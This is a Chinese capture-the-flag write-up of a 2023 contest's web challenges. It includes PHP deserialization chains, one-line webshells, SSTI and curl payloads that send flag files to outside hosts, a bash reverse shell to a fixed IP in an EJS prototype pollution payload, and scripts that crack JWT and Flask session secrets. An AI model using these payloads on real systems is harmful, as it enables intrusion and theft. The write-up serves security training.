极客大挑战2023 Web方向题解wp 全

最后排名 9/2049

image-20231126203632363

玩脱了,以为28结束,囤的一些flag没交上去。我真该死啊QAQ

EzHttp

前言:这次极客平台太安全了谷歌不给抓包,抓包用burp自带浏览器。

image-20231026211250573

密码查看源码->robots.txt->o2takuXX’s_username_and_password.txt获得

image-20231026211341640

postman一把梭。

image-20231026211350513

唯一要注意的就是最后要求$_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"

** S E R V E R ∗ ∗ 超全局变量保存关于报头、路径和脚本位置的信息。 ‘ _SERVER** 超全局变量保存关于报头、路径和脚本位置的信息。` SERVER超全局变量保存关于报头、路径和脚本位置的信息。_SERVER[‘HTTP_O2TAKUXX’]就是http头中的参数O2TAKUXX`。

unsign

直接给了源码:

image-20231026212119200

简单php反序列化,链子是syc::__destruct()->lover::__invoke()->web::__get()

EXP:

<?php
highlight_file(__FILE__);
class syc
{public $cuit;public function __destruct(){echo("action!<br>");$function=$this->cuit;return $function();}
}class lover
{public $yxx;public $QW;public function __invoke(){echo("invoke!<br>");return $this->yxx->QW;}}class web
{public $eva1;public $interesting;public function __get($var){echo("get!<br>");$eva1=$this->eva1;$eva1($this->interesting);}
}//syc::__destruct()->lover::__invoke()->web::__get()$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
$a->cuit->yxx->eva1='system';
$a->cuit->yxx->interesting='tac /flag';echo serialize($a);?>

image-20231026212854926

n00b_Upload

文件上传,简单测了一下只给传.php后缀????

同时木马<?= @eval($_POST[1]);?>可行,但是木马<script language='php'>@eval($_POST[1]);</script>不给传,二分法测试应该是整段过滤。。。。

image-20231026213047338

尝试访问uploadtest/391284_653a70260a272.php。getshell

image-20231026221747398

easy_php

都是一些php基础绕过,不再讲了,直接给payload:

GET:?syc=welcome%20to%20GEEK%202023!&lover=1e9
POST:SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

image-20231026222223568

ctf_curl

题目描述:命令执行?真的吗?

直接给了源码

image-20231026235402171

粗略一看,断绝了curl读取文件的可能。

但是不难发现,直接给出了flag路径,而且题目描述提示不用命令执行。

查找所有curl命令的使用,发现可以使用无回显RCE中的http 信道带出文件内容:

image-20231026235530918

payload:

?addr=xxxxxx.requestrepo.com -T /tmp/Syclover

image-20231026235605338

可行!成功带出了flag文件/tmp/Syclover

image-20231026235618032

flag 保卫战

题目描述:管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ

开题是一个登录界面

image-20231027000318869

0x01、信息搜集

未登录界面,源码里面有访客密码 和 验证密码获得flag的路由/flag,传参?pass

image-20231027115020018

登录后的界面/upload,源码中有不可见提示csrf token 10 秒失效(由此判断我们需要用自动化脚本),源码中还有前端js源码,暴露了所有路由。

image-20231027015154871

/file-list:列出当前已上传且未被删除的文件列表

/new-csrf-token:获取和设置新的 CSRF 令牌

image-20231027123613227

登录后随便传一个文件,后缀自动改成了.key

image-20231027000719405

初始jwt的密钥就是password用户的密码123456

image-20231027123901145

看看登录后的页面,管理员密码是一直在变的,由我们上传的临时文件内容决定。

image-20231027015208383


0x02、看所有包

重开环境。之前所有步骤都抓包看看包。

未登录的包(啥都没有)

image-20231027014903391

登录时候的包(啥都没有,账号密码json传参)

image-20231027023305489

登录后的包(只有jwt-token,不变的)

image-20231027015110782

上传文件时候的包

image-20231027015318194

访问路由/new-csrf-token获取动态csrf密钥的包(只有jwt-token,不变的)

image-20231027020802030

访问路由/flag验证身份的包(只有jwt-token,不变的)

image-20231027124140640


0x03、理清思路

1、可以肯定的是我们要在十秒内(csrf token有效期)上传四个及以上文件,手动上传不用考虑csrf token,因为js源码中上传时候会自动更新,就是担心30s内无法上传+验证。但是这个如果要通过自动化脚本实现很容易,同时我们可以传一次文件更新一次csrf token,确保脚本可以一直运行下去。

2、验证究竟是如何验证呢?题目源码给的提示是/flag?pass=123456,应该是在这个路由验证了而不是直接/login路由登录。

3、验证方式是什么?一开始我误以为传参?pass=四个文件内容就可以了,但是经过几小时失败,以及前文提到的jwt密钥就是password的密码123456,不难意识到jwt也是一重验证。

4、jwt如何改?前文提到的jwt密钥就是password的密码123456,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码+用户admin,密钥admin密码1111的jwt。


0x04、自动化脚本撰写

这里有一个坑点,就是我们脚本中 获取csrf token、上传文件、读取文件列表时候附带的jwt密钥需要改改,密码还是123456,但是用户得是admin

这个也是试出来的,20:00开赛,脚本从11:00改到第二天凌晨。。。。。

具体为什么用户名要改成admin,个人暂时想法如下:

1、可行性:题目环境中jwt改了用户名没事,改了密钥就直接无效了。

2、必要性:也许用户只能读取以自己身份写入的文件,比如我password用户写入的文件,admin是无法读取的,所以对admin来说没有文件,就没有由四个文件构成的密码了。

查看脚本运行结果,验证上述必要性:

可以看到,文件确实是分用户的,JWT如果是admin用户,上传的文件名命名是admin-0xx.key,JWT如果是password用户,上传的文件名命名是password-0xx.key。(个人感觉这个是一个混淆点,一开始让我误以为文件名字意思是这个是密码文件,而不是password用户文件)

image-20231027125359005

最后脚本如下:

#Jay17
import json
import requests
import threading#靶机地址
url = "https://rhk4wscflc7hgds1uoth4z1xd.node.game.sycsec.com"session = requests.session()# 往下两行的filename是表单字段名,抓包获得。
file = {'filename': ('1.txt', '1', 'text/plain')  # 请求头Content-Type字段对应的值,手动抓的包里面看
}#password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变
jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.iSuLQGSzXqS0OHnV6Md5i7v8pDuIVIYa1m22A6cfNP0'# 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以)
def write():while True:# 获取动态csrf密钥r = session.get(url=url + "/new-csrf-token",cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})print(r.text)csrf = r.text# 上传文件data = {'yak-token': csrf}r = session.post(url=url + "/upload", data=data, files=file,cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})print(r.text)# 读文件列表、自动登录验证
def read():while True:# 读取文件r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})print(r.text)#登录验证#jwt是admin用户,jwt密钥是四个文件连起来内容1111r=session.get(url=url + "/flag?pass=1111", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.PoFcmmc6hUksjK_Rtu6U647GrCiO392DeE5CU51Wx_c'})print()print(r.status_code)# print(r.headers)# print(r.cookies['jwt-token'])# print(r.cookies)print(r.text)# 双线程,不停写不停读和验证
threads = [threading.Thread(target=write), threading.Thread(target=read)]for t in threads:t.start()

最后运行脚本得到flag

image-20231027124432903

klf_ssti

开题。

image-20231101105008273

经过一系列信息搜集(源码,扫后台),发现我们的SSTI入口应该是/hack?klf=xxx

image-20231101105316333

不知道是哪个语言的ssti,传入什么都返回klf别想,如{{7*7}}123。服务是由nginx支持的,盲猜Python的SSTI,先fuzz一波。

没有fuzz出过滤,但是可以发现,确实是存在SSTI,比如只传入{{时会500 Internal Server Error

image-20231101112644157

不过啥都无回显,不知道执行成功没有。。

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('tac /f*').read()}}

image-20231101113603306

先拿curl命令测一波,发现命令确实能执行成功!!!

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023').read()}}

image-20231101113709965

http信道带出数据,md出题人藏flag…

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`ls /app/f*`').read()}}

image-20231101115850435

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`tac /app/fl4gfl4gfl4g`').read()}}

image-20231101115534038

image-20231101115547327

ez_remove

直接给了源码:

image-20231031142846099

<?php
highlight_file(__FILE__);
class syc{public $lover;public function __destruct(){eval($this->lover);}
}if(isset($_GET['web'])){if(!preg_match('/lover/i',$_GET['web'])){$a=unserialize($_GET['web']);throw new Error("快来玩快来玩~");}else{echo("nonono");}
}
?>

我们只需要绕过对lover的正则匹配和抛出错误即可。

绕过方式为十六进制+GC回收。

十六进制:PHP反序列化 | Y4tacker’s Blog (gitee.io)

O:4:"test":2:{s:4:"xxxa";s:3:"abc";s:7:"asdfrew";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"xxx\61";s:3:"abc";s:7:"asdfrew";s:3:"def";}
表示字符类型的s大写为S时,会被当成16进制解析。

GC回收可以看这篇:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客

EXP:

<?php
class syc{public $lover;public function __destruct(){eval($this->lover);}
}
$a=new syc();
$a->lover="phpinfo();";echo serialize($a);?>

生成payload:

O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}

改成如下所示,利用十六进制和GC绕过限制。

O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";

image-20231101103218049

难崩的是,这里有disable fuction。不能直接执行命令了。

image-20231101103335997

那我们起手连蚁剑,接下来讲讲怎么连蚁剑。

先写个转接头:

GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";POST:1=要执行的代码

image-20231101103609432

然后连蚁剑,测试发现爆红。

image-20231101103734410

解决办法是将https改成http。(https太安全了呜呜呜)编码器记得选base64

image-20231101103853810

蚁剑还是很好用的,总动列出了所有可用的函数,并且蚁剑会用这些函数自动进行相关文件操作,可视化的显示给我们。

image-20231101104528828

flag在根目录/f1ger文件中,但是直接打开不显示内容。

image-20231101104747708

蚁剑有自带绕过功能,如果直接查看flag文件没权限,可以试试在虚拟终端cat /flag。

image-20231031232447515

ez_path

开题。

image-20231104101112459

给了源码

image-20231104101124867

反编译之后是这样的:

import os, uuid
from flask import Flask, render_template, request, redirectapp = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []class Article:def __init__(self, article_id, title, content):self.article_id = article_idself.title = titleself.content = contentdef generate_article_id():return str(uuid.uuid4())@app.route('/')
def index():return render_template('index.html', articles=articles)@app.route('/upload', methods=['GET', 'POST'])
def upload():if request.method == 'POST':title = request.form['title']content = request.form['content']article_id = generate_article_id()article = Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect('/')else:return render_template('upload.html')@app.route('/article/<article_id>')
def article(article_id):for article in articles:if article.article_id == article_id:title = article.titlesanitized_title = sanitize_filename(title)article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, 'r') as (file):content = file.read()return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面def save_article(article_id, title, content):sanitized_title = sanitize_filename(title)article_path = ARTICLES_FOLDER + '/' + sanitized_titlewith open(article_path, 'w') as (file):file.write(content)def sanitize_filename(filename):        #过滤函数,被过滤的字符都替换成下划线sensitive_chars = [':','*','?','"','<','>','|','.']for char in sensitive_chars:filename = filename.replace(char, '_')return filenameif __name__ == '__main__':app.run(debug=True)

继续信息搜集,查看源码发现flag应该在/f14444,同时有两个路由/home/upload

image-20231104101314360

博客存在python控制台,有读取文件计算PIN码进控制台执行命令的可能。(可行的方法,文件都能读,不做了)

image-20231104101827078

我们先计算PIN码来读取源文件,反编译的源码可能不全。

1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd

2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app

3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask

4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量

5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

6.machine_id
机器码,每一个机器都会有自已唯一的id,(Linux下)machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup(第一行的/docker/字符串后面的内容)
一般生成pin码不对就是这错了

依次读取文件:(虽然可以直接读取flag呜呜)

1.username :root

2.modname:flask.app

3.appname:Flask

4.moddir:/usr/local/lib/python3.9/site-packages/flask/app.py

5.uuidnode:253636626821197

6.machine_id:31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope

计算PIN码脚本:

#sha1
import hashlib
from itertools import chain
probably_public_bits = ['root'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]private_bits = ['253636626821197',#  /sys/class/net/eth0/address 16进制转10进制#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup#'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup#'docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #  /proc/self/cgroup#'31e70710-1d09-4cda-bc57-a7a012a89ef7'  #/proc/sys/kernel/random/boot_id'31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #/proc/sys/kernel/random/boot_id+/proc/self/cgroup
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

image-20231104111500599

笑。。。。执行不了一点,不知道为什么。

image-20231104113103425

PIN码可行,我们做别的方法Python 中的路径穿越

参考:警惕: Python 中的路径穿越_zzzzls~的博客-CSDN博客

# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png

阅读源码,源码反编译有点不全,但是看有路径拼接,猜测/home路由也是路径拼接,用到了os.path.join()或者pathlib.Path()方法,所以造成了上述python路径穿越漏洞。

存的时候应该是articles/+什么什么。读的时候以为特性直接就读后半段绝对路径了,比如/etc/passwd

所以,根目录下flag文件直接读取就好啦:

image-20231104105534965

image-20231104105551271

image-20231104105557974

源码反编译有点问题,做完后去找出题人姐姐要了一下源码:

import os
import uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)ARTICLES_FOLDER = 'articles/'
articles = []class Article:def __init__(self, article_id, title, content):self.article_id = article_idself.title = titleself.content = contentdef generate_article_id():return str(uuid.uuid4())@app.route('/')
def index():return render_template('index.html', articles=articles)@app.route('/home')
def home():return render_template('home.html', articles=articles)@app.route('/upload', methods=['GET', 'POST'])
def upload():if request.method == 'POST':title = request.form['title']content = request.form['content']article_id = generate_article_id()article = Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect('/home')else:return render_template('upload.html')@app.route('/article/<article_id>')
def article(article_id):for article in articles:if article.article_id == article_id:title = article.titlesanitized_title = sanitize_filename(title)article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, 'r') as file:content = file.read()return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面def save_article(article_id, title, content):sanitized_title = sanitize_filename(title)article_path = ARTICLES_FOLDER + '/' + sanitized_titlewith open(article_path, 'w') as file:file.write(content)def sanitize_filename(filename):# 替换敏感字符为下划线 _sensitive_chars = [':', '*', '?', '"', '<', '>', '|','.']for char in sensitive_chars:filename = filename.replace(char, '_')return filenameif __name__ == '__main__':app.run(debug=True, host='0.0.0.0',port=5000)

os.path.join()方法,猜测成立!

image-20231104224906501

you konw flask?

二血拿下。

image-20231104183817313

开题,源码没东西。

image-20231104184102320

注册+登录试试,提示我们要成为教练。

image-20231104184136900

验证身份的方式是session。

eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ7eyc3JyonNyd9fSIsInVzZXJfaWQiOjJ9.ZUOS4Q.vDzAPCyc9MEptQx5vBZLVvEnSDo

image-20231104184201632

扫出robots.txt

image-20231104184222687

访问/3ysd8.html得到session密钥生成方式,

image-20231104184302185

两端不变,密钥中间三位爆破。

爆破session密钥脚本:

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import syspath = "wordlist.txt"print("Generating wordlist... ")with open(path,"w") as f:#permutations with repetition[f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)]   #加上前缀#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print("Got cookie: " + cookie_tamper)print("Cracker Started...")obj = flask_unsign.Cracker(value=cookie_tamper)before = time.time()with wordlist(path, parse_lines=False) as iterator:obj.crack(iterator)secret = ""
if obj.secret:secret =obj.secret.decode()print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

flask-unsign工具用法

解密session:flask-unsign --decode --cookie '获得的session'爆破密钥:flask-unsign --unsign --cookie '获得的session'加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt

flask-unsign工具解密session

flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'

flask-unsign工具伪造session

flask-unsign --sign --cookie "{'is_admin': True, 'name': '11', 'user_id': 2}" --secret 'wanbaoNjI=wanbao'

image-20231102203558933

获得伪造成admin后的session。

eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjExIiwidXNlcl9pZCI6Mn0.ZUOXlA.-dQNWRyZdmqiw5XrR8P6IceeJDU

用admin身份就直接得到flag。

image-20231102203548947

image-20231102203633765

Pupyy_rce

直接给了源码。

image-20231103003925609

<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {$var = $_GET['var'];if (!preg_match("/env|var|session|header/i", $var,$match)) {if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){eval($_GET['var']);}else die("WAF!!");} else{die("PLZ DONT HCAK ME😅");}
}

一眼无参数RCE,过滤了env|var|session|header

注释提示当前目录下有好康的,那就先看看当前目录的文件结构

print_r(scandir(getcwd()));

flag应该在当前目录下fl@g.php文件中。

image-20231103004506613

但是这个文件不在返回的目录数组的头尾,我们一般的payload如show_source(next(array_reverse(scandir(getcwd()))));无法读取到flag。

知识点:

array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。

array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。

payload:(多发几次,随机返回当前目录下的文件内容,会返回flag的)

?var=show_source(array_rand(array_flip(scandir(getcwd()))));

image-20231103005649843

开题,需要我们伪造身份为admin,然后访问/source路由

image-20231103195254225

验证admin身份用的是JWT

image-20231103195330984

无法用常见方法伪造JWT,源码给了hint。

image-20231103195446156

密钥应该就是VanZY

image-20231103195541832

image-20231103195602146

当然,如果和我一样一开始没看见hint,我们爆破密钥也能出来,毕竟才五位数,毕竟一晚上挂机就行(难崩

image-20231103200855723

成功伪造成admin身份后返回了源码:

image-20231103195645738

const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super = {};
var safecode = function (code) {let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;return !validInput.test(code);
};
app.all('/code', (req, res) => {res.type('html');if (req.method == "POST" && req.body) {putil_merge({}, req.body, {deep: true});}res.send("welcome to code");
});
app.all('/hint', (req, res) => {res.type('html');res.send("I heard that the challenge maker likes to use his own id as secret_key");
});
app.get('/source', (req, res) => {res.type('html');var auth = req.cookies.auth;jwt.verify(auth, jwt_secret, function (err, decoded) {try {if (decoded.user === 'admin') {res.sendFile(path.join(__dirname + '/index.js'));} else {res.send('you are not admin ');}} catch {res.send("Fuck you Hacker!!!")}});
});
app.all('/create', (req, res) => {res.type('html');if (!req.body.name || req.body.name === undefined || req.body.name === null) {res.send("please input name");} else {if (Super['userrole'] === 'Superadmin') {res.render('index', req.body);} else {if (!safecode(req.body.name)) {res.send("你在做什么?快停下!!!")} else {res.render('index', {name: req.body.name});}}}
});
app.get('/', (req, res) => {res.type('html');var token = jwt.sign({'user': 'guest'}, jwt_secret, {algorithm: 'HS256'});res.cookie('auth ', token);res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));

核心代码:

var safecode = function (code) {       //过滤函数//使用了 i(不区分大小写)和 g(全局搜索)标志let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|Function|setInterval|setTimeout|var|\+|\*/ig;return !validInput.test(code);
};app.all('/code', (req, res) => {res.type('html');if (req.method == "POST" && req.body) {//污染基类入口putil_merge({}, req.body, {deep: true});}res.send("welcome to code");
});app.all('/create', (req, res) => {res.type('html');if (!req.body.name || req.body.name === undefined || req.body.name === null) {res.send("please input name");} else {if (Super['userrole'] === 'Superadmin') {//渲染,原型链污染造成命令执行,反弹shellres.render('index', req.body);} else {if (!safecode(req.body.name)) {res.send("你在做什么?快停下!!!")} else {res.render('index', {name: req.body.name});}}}
});

思路很简单,我们首先在/code路由污染Super的父类即基类Object,使基类Object的属性userrole满足条件。在/create路由判断时候,由于Super类找不到属性userrole,会去找基类Object的属性userrole

res.render('index', req.body);处执行渲染,req.body可控,直接打ejs原型链污染的payload即可RCE。

流程是在/code路由污染完,去/create路由渲染,解析了被污染的,RCE。

获取基类Object方法:

image-20231126014027858

/code路由下payload。

{"constructor":{"prototype":{"settings":{"view options":{"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 <&1\"');","client":"true"}},"userrole":"Superadmin"}}}

/create路由下payload。

{"name":"Jay17"}

vps收到shell后,在根目录下找到flag。

image-20231107153931197

famale_imp_l0ve

开题,是一个文件上传界面。测了一下只能上传.zip后缀。

image-20231103012608537

查看源码,发现一个包含功能的文件/include.php

image-20231103012635203

/include.php源码如下:

image-20231103012723543

<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){include($file);
}
?>

可以%00截断,但是无法读取文件。

image-20231103014032388

换种方法,我们用phar://协议。phar://协议可以读取任意后缀压缩包中的内容,如.zip

条件:
1、php.ini里面,phar.readonly改成Off,去掉前面的分号。
2、有参数是 string形式的文件名称 ($filename)的函数
3、能上传任意后缀(jpg都行)的phar包。
4、有可利用的文件操作函数,并控制了协议头,使用phar协议解析

**用法例子:**filesize(“phar://xxx.phar”);

先上传一个1.zip文件,其中包含一句话马,马文件后缀是.jpg

image-20231104122403421

image-20231104122426793

payload:

GET:
/include.php?file=phar:///var/www/upload/1.zip/1.jpgPOST:
1=system('tac /flag');

image-20231104122555553

change_it

题目描述:快来找flag!(文件上传的目录为 “/upload”)

开题登陆界面,账号密码在源码中

image-20231121213055069

image-20231121213116149

登陆后有上传头像功能,但是user用户无权限上传头像。

image-20231121213215566

直接改用户名为admin也无权限上传头像。身份校验方式是JWT。

image-20231121213302528

image-20231121213346851

密钥不知道,直接脚本爆破,得到密钥是yibao

import jwttoken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4"      # 题目中的 token
#password_file = "C:\\Users\\86159\\PycharmProjects\\pythonProject\\WEB-xxx\\JWT\\jwtpassword.txt"           # 密码字典文件
password_file = "../wordlist.txt"  # 枚举密码字典文件with open(password_file,'rb') as file:for line in file:line = line.strip()                          # 去除每行后面的换行try:jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256print('key: ', line.decode('ascii'))breakexcept (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):              # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的print("key: ", line.decode('ascii'))breakexcept jwt.exceptions.InvalidSignatureError:                 # 签名错误则表示密钥不正确print("Failed: ", line.decode('ascii'))continueelse:print("Not Found.")

image-20231121213828057

有了密钥就能伪造JWT了。

image-20231121214019919

直接上马:

image-20231121214008052

访问🐎,getshell。访问不到🐎,看了看上传界面源码,文件名是处理过的。。

image-20231121214338921

先本地跑一下看看啦,php版本是8。本地可以跑出时间戳和文件名。

image-20231121215610928

思路是上传成功后,马上本地查看时间戳。然后写php脚本生成时间戳前后30,一共60个文件名,直接burp爆破。

上传文件时大概的时间戳:

image-20231121215711902

脚本如下:

<?php
function php_mt_seed($seed)
{mt_srand($seed);
}//1700575026
for ($seed = 1700575000; $seed < 1700575056; $seed++) {php_mt_seed($seed);$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$newFileName = '';for ($i = 0; $i < 10; $i++) {$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];}echo "\n".$newFileName;
}?>

image-20231121215918591

burp爆破结果如下:

image-20231121220354228

访问🐎,getshell。

image-20231121220457297

ezrfi

题目描述:亲爱的Syclover,你能找到flag吗???

hint:有一步是rc4解密

开题,是一个基于PHP环境的文件读取功能界面。

image-20231123135051534

源码里面有hint

image-20231123135126866

抽象之hint文件在/var目录下。。。。

?file=/var/hint

image-20231123135203381

secret为:

